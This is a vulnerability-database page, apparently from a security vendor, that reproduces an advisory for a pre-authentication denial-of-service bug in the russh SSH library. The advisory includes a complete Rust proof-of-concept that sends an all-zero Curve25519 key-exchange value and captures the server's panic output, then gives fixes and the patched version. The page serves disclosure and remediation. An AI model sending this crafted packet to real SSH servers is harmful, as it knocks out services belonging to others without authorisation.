How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,159

Total vulnerabilities in the database

Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB) — russh

Improper Check for Unusual or Exceptional Conditions

A pre-authentication denial-of-service panic in russh 0.62.2 (commit c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so server_dh() computes the all-zero shared secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...), which indexes s[i] at i == s.len() and panics (index out of bounds: the len is 32 but the index is 32) before host-key signature verification. The server KEX task dies on the first KEX message, before authentication.

This is reachable with the default server configuration (Config::default() → Preferred::DEFAULT, whose kex list includes curve25519-sha256) and requires no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on main HEAD (v0.62.3, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.

Details

russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):

fn server_dh(&amp;mut self, exchange: &amp;mut Exchange, payload: &amp;[u8]) -&gt; Result&lt;(), crate::Error&gt; {
    // only the 32-byte length is checked, NOT zero / low-order:
    let mut pubkey = MontgomeryPoint([0; 32]);
    pubkey.0.clone_from_slice(&amp;payload[5..5 + 32]);      // line 73
    ...
    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]
    self.shared_secret = Some(shared);                    // line 86
    Ok(())
}

The server then computes the exchange hash before verifying the host-key signature (russh/src/server/kex.rs):

kex.server_dh(exchange, &amp;input.buffer)?;                    // line 247
...
let hash = kex.compute_exchange_hash(&amp;pubkey_vec, exchange, &amp;mut buffer)?;  // line 274 — panics

compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose leading-zero skip loop advances i to s.len() and then indexes s[i] (russh/src/kex/mod.rs):

pub(crate) fn encode_mpint&lt;W: Writer&gt;(s: &amp;[u8], w: &amp;mut W) -&gt; Result&lt;(), Error&gt; {
    let mut i = 0;
    while i &lt; s.len() &amp;&amp; s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input
    if s[i] &amp; 0x80 != 0 {                        // line 482 — index out of bounds: s[s.len()]
        ...

On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32]) (the identity element), so the all-zero shared secret is attacker-controlled. RFC 7748 §6 requires implementations to detect and reject all-zero / low-order peer public values and shared secrets; russh does not. The client path (compute_shared_secret, curve25519.rs:110-142) has the same chain but is reached only after the server host-key signature is verified, so it requires a malicious server that can sign its own host key (same root cause, lower severity).

PoC

The PoC is a standalone examples/ binary that links the unmodified real russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex), proving the panic is caused specifically by the all-zero value.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519

`russh/examples/e2e_t13_zero_curve25519.rs`

// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh&#039;s SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP &quot;attacker&quot; client sends: SSH banner -&gt; SSH_MSG_KEXINIT offering
// curve25519-sha256 -&gt; SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -&gt; compute_exchange_hash -&gt;
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;

#[tokio::main]
async fn main() {
    println!(&quot;=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n&quot;);

    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, &quot;ATTACK &quot;).await;
    println!();
    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, &quot;CONTROL&quot;).await;

    println!(&quot;\n=== summary ===&quot;);
    println!(&quot;case    | server panicked | got ECDH_REPLY&quot;);
    println!(&quot;ATTACK  | {atk_panic:&lt;15} | {atk_reply}   (Q_C = all-zero)&quot;);
    println!(&quot;CONTROL | {ctl_panic:&lt;15} | {ctl_reply}   (Q_C = random non-zero)&quot;);

    if atk_panic &amp;&amp; !atk_reply &amp;&amp; !ctl_panic &amp;&amp; ctl_reply {
        println!(&quot;\n=&gt; CONFIRMED (end-to-end, real russh 0.62.2):&quot;);
        println!(&quot;   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the&quot;);
        println!(&quot;   all-zero Curve25519 point makes the real russh server panic&quot;);
        println!(&quot;   inside encode_mpint (index out of bounds: len 32, index 32)&quot;);
        println!(&quot;   during compute_exchange_hash, BEFORE host-key verification.&quot;);
    } else {
        eprintln!(&quot;NOT reproduced&quot;);
        std::process::exit(1);
    }
}

enum QcKind { AllZero, Random }

async fn run_case(qc: QcKind, label: &amp;&#039;static str) -&gt; (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!(&quot;[{label} server task panicked] {info}&quot;);
            prev(info);
        }));
    }

    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)
    // + real Ed25519 host key.
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(
        russh::keys::PrivateKey::random(&amp;mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
    );
    let config = Arc::new(config);

    let listener = TcpListener::bind(&quot;127.0.0.1:0&quot;).await.unwrap();
    let addr = listener.local_addr().unwrap();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
        session.await
    });

    // raw attacker client: SSH banner -&gt; KEXINIT -&gt; ECDH_INIT(Q_C)
    let mut s = TcpStream::connect(addr).await.unwrap();
    s.write_all(b&quot;SSH-2.0-attacker\r\n&quot;).await.unwrap();
    s.flush().await.unwrap();
    let _server_id = read_ssh_id(&amp;mut s).await.unwrap();
    let _server_kexinit = read_packet(&amp;mut s).await.unwrap();
    s.write_all(&amp;ssh_packet(&amp;kexinit_payload_curve25519())).await.unwrap();
    s.flush().await.unwrap();

    let q_c: [u8; 32] = match qc {
        QcKind::AllZero =&gt; [0u8; 32],
        QcKind::Random =&gt; {
            let mut b: [u8; 32] = rand::random();
            if b.iter().all(|&amp;x| x == 0) { b[0] = 1; }
            b
        }
    };
    let mut ecdh_init = Vec::new();
    ecdh_init.push(MSG_KEX_ECDH_INIT);
    encode_string(&amp;mut ecdh_init, &amp;q_c);
    s.write_all(&amp;ssh_packet(&amp;ecdh_init)).await.unwrap();
    s.flush().await.unwrap();
    let qdesc = match qc { QcKind::AllZero =&gt; &quot;all-zero&quot;, QcKind::Random =&gt; &quot;random&quot; };
    println!(&quot;[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})&quot;);

    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&amp;mut s)).await {
        Ok(Ok(pkt)) =&gt; {
            let is_reply = pkt.first() == Some(&amp;MSG_KEX_ECDH_REPLY);
            println!(&quot;[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})&quot;, pkt.first());
            is_reply
        }
        _ =&gt; { println!(&quot;[{label}] read failed / connection closed (no ECDH_REPLY)&quot;); false }
    };

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    println!(&quot;[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}&quot;);
    let _ = std::panic::take_hook();
    (server_panicked, got_reply)
}

#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }

fn kexinit_payload_curve25519() -&gt; Vec&lt;u8&gt; {
    let mut p = Vec::new();
    p.push(MSG_KEXINIT);
    p.extend_from_slice(&amp;[0u8; 16]); // cookie
    encode_name_list(&amp;mut p, &amp;[&quot;curve25519-sha256&quot;]);          // kex
    encode_name_list(&amp;mut p, &amp;[&quot;ssh-ed25519&quot;]);                // host key
    encode_name_list(&amp;mut p, &amp;[&quot;[email protected]&quot;]); // c2s cipher
    encode_name_list(&amp;mut p, &amp;[&quot;[email protected]&quot;]); // s2c cipher
    encode_name_list(&amp;mut p, &amp;[&quot;hmac-sha2-256&quot;]);              // c2s mac
    encode_name_list(&amp;mut p, &amp;[&quot;hmac-sha2-256&quot;]);              // s2c mac
    encode_name_list(&amp;mut p, &amp;[&quot;none&quot;]);                      // c2s compression
    encode_name_list(&amp;mut p, &amp;[&quot;none&quot;]);                      // s2c compression
    encode_name_list(&amp;mut p, &amp;[]);                            // c2s languages
    encode_name_list(&amp;mut p, &amp;[]);                            // s2c languages
    p.push(0);                                                // first_kex_packet_follows = false
    push_u32(&amp;mut p, 0);                                      // reserved
    p
}

fn ssh_packet(payload: &amp;[u8]) -&gt; Vec&lt;u8&gt; {
    let mut padding_len = 8 - ((5 + payload.len()) % 8);
    if padding_len &lt; 4 { padding_len += 8; }
    let packet_len = 1 + payload.len() + padding_len;
    let mut packet = Vec::with_capacity(4 + packet_len);
    push_u32(&amp;mut packet, packet_len as u32);
    packet.push(padding_len as u8);
    packet.extend_from_slice(payload);
    packet.resize(packet.len() + padding_len, 0);
    packet
}

async fn read_packet(stream: &amp;mut TcpStream) -&gt; std::io::Result&lt;Vec&lt;u8&gt;&gt; {
    let mut len_buf = [0u8; 4];
    stream.read_exact(&amp;mut len_buf).await?;
    let packet_len = BigEndian::read_u32(&amp;len_buf) as usize;
    let mut packet = vec![0u8; packet_len];
    stream.read_exact(&amp;mut packet).await?;
    let padding_len = packet[0] as usize;
    Ok(packet[1..packet.len() - padding_len].to_vec())
}

async fn read_ssh_id(stream: &amp;mut TcpStream) -&gt; std::io::Result&lt;Vec&lt;u8&gt;&gt; {
    let mut id = Vec::new();
    loop {
        let mut byte = [0u8; 1];
        stream.read_exact(&amp;mut byte).await?;
        id.push(byte[0]);
        if byte[0] == b&#039;\n&#039; { return Ok(id); }
    }
}

fn encode_name_list(buf: &amp;mut Vec&lt;u8&gt;, names: &amp;[&amp;str]) { encode_string(buf, names.join(&quot;,&quot;).as_bytes()); }
fn encode_string(buf: &amp;mut Vec&lt;u8&gt;, value: &amp;[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &amp;mut Vec&lt;u8&gt;, value: u32) {
    let mut bytes = [0u8; 4];
    BigEndian::write_u32(&amp;mut bytes, value);
    buf.extend_from_slice(&amp;bytes);
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread &#039;tokio-rt-worker&#039; panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
   3: russh::kex::encode_mpint::&lt;CryptoVec&gt;
   4: &lt;Curve25519Kex as KexAlgorithmImplementor&gt;::compute_exchange_hash
   5: &lt;ServerKex&gt;::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=&gt; CONFIRMED (end-to-end, real russh 0.62.2)

The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification.

Impact

Remote, pre-authentication denial of service of any russh SSH server using the default configuration. A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e

0x00000020 + 32 zero bytes) from an unauthenticated client crashes the server's KEX task before authentication. Because the panic is in an async russh task it aborts that connection's handler; depending on the embedder's panic containment it can also tear down the server if the panic is not contained per-connection.

A malicious SSH server can symmetrically crash a russh client after host-key verification by sending an all-zero Q_S in SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity — requires the server to control its own signed host key).

No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash.

CVSS

AV:N — reachable from a remote SSH peer
AC:L — requires only a 32-byte all-zero Q_C
PR:N — pre-authentication
UI:N — no user interaction
C:N, I:N — no confidentiality or integrity impact demonstrated
A:H — remote unauthenticated crash of the server KEX task

Suggested fixes

Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in server_dh() / compute_shared_secret():

if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

and harden encode_mpint against the all-zero input:

if i == s.len() {
    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 4251 §5
}

Affected versions

russh <= 0.62.3 (commit c4be19f1915c / current main HEAD v0.62.3, 2026-07-22). The bug is still present on main; it is not covered by any of the 11 published russh GHSA advisories. Default server::Config and client::Config are affected (no feature flag or opt-in).

Credit

Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).

Published: Jul 24, 2026
Updated: Jul 25, 2026
GHSA: GHSA-5xvq-cp9x-6p6r
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWEs:

CWE-754

Affected Software
References

Software	From	Fixed in
russh	-	0.62.4

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.